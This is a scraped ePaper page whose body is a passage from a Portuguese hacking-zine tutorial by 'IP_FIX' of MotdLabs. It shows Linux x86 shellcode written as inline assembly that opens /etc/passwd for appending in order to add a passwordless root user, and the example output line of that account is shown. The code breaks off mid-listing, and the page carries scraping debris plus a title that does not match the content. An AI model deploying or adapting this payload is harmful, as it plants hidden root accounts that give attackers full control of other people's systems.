01.01.2013 Views

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

ip_fix::0:0::/root:/bin/sh<br />

root@motdlabs:~/IP_FIX/shellcode#<br />

Agora temos que converter para assembly, será um pouco trabalhoso<br />

mas nada impossível! Vamos ver nossa tabela primeiro.:<br />

%eax Nome Fonte %ebx %ecx %edx %esx %edi<br />

1 sys_exit kernel/exit.c int<br />

4 sys_write Arch/i386/kernel/process.c unsigned<br />

int<br />

5<br />

sys_open fs/open.c const<br />

char*<br />

char* size_t<br />

int int<br />

root@motdlabs:~/IP_FIX/shellcode# man open<br />

int open(const char *pathname, int flags, mode_t mode);<br />

[ %ebx ] [ %ecx ] [ %edx ]<br />

De posse dessas informações, vamos construir nosso código em<br />

assembly.<br />

shellcode/asmpasswd.c<br />

/*<br />

* Protótipo de shellcode em ASM.<br />

* Adiciona um usuário com premissões root.<br />

* by IP_FIX .<br />

* MotdLabs .<br />

* Compilação: # gcc -o asmpasswd asmpasswd.c<br />

*/<br />

#include <br />

main() {<br />

__asm__(<br />

"xor %eax, %eax \n" /* Zera %eax.<br />

*/<br />

"push $0x647773 \n" /* Movemos toda no string...<br />

*/<br />

"push $0x7361702F \n" /* ...para o stack.<br />

*/<br />

"push $0x6374652F \n" /* /etc/passwd<br />

*/<br />

"mov %esp, %ebx \n" /* Agora jogamos nossa string para %ebx:<br />

(const char *pathname,... */<br />

"mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...<br />

int flags,... */<br />

"mov $0x5, %al \n" /* System Call de open().<br />

*/<br />

"int $0x80 \n" /* Cai pro modo kernel.<br />

*/<br />

"mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %<br />

eax, agora precisamos tê-lo em %ebx. */<br />

"push $0x0A68732F \n" /* Movemos...<br />

86

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!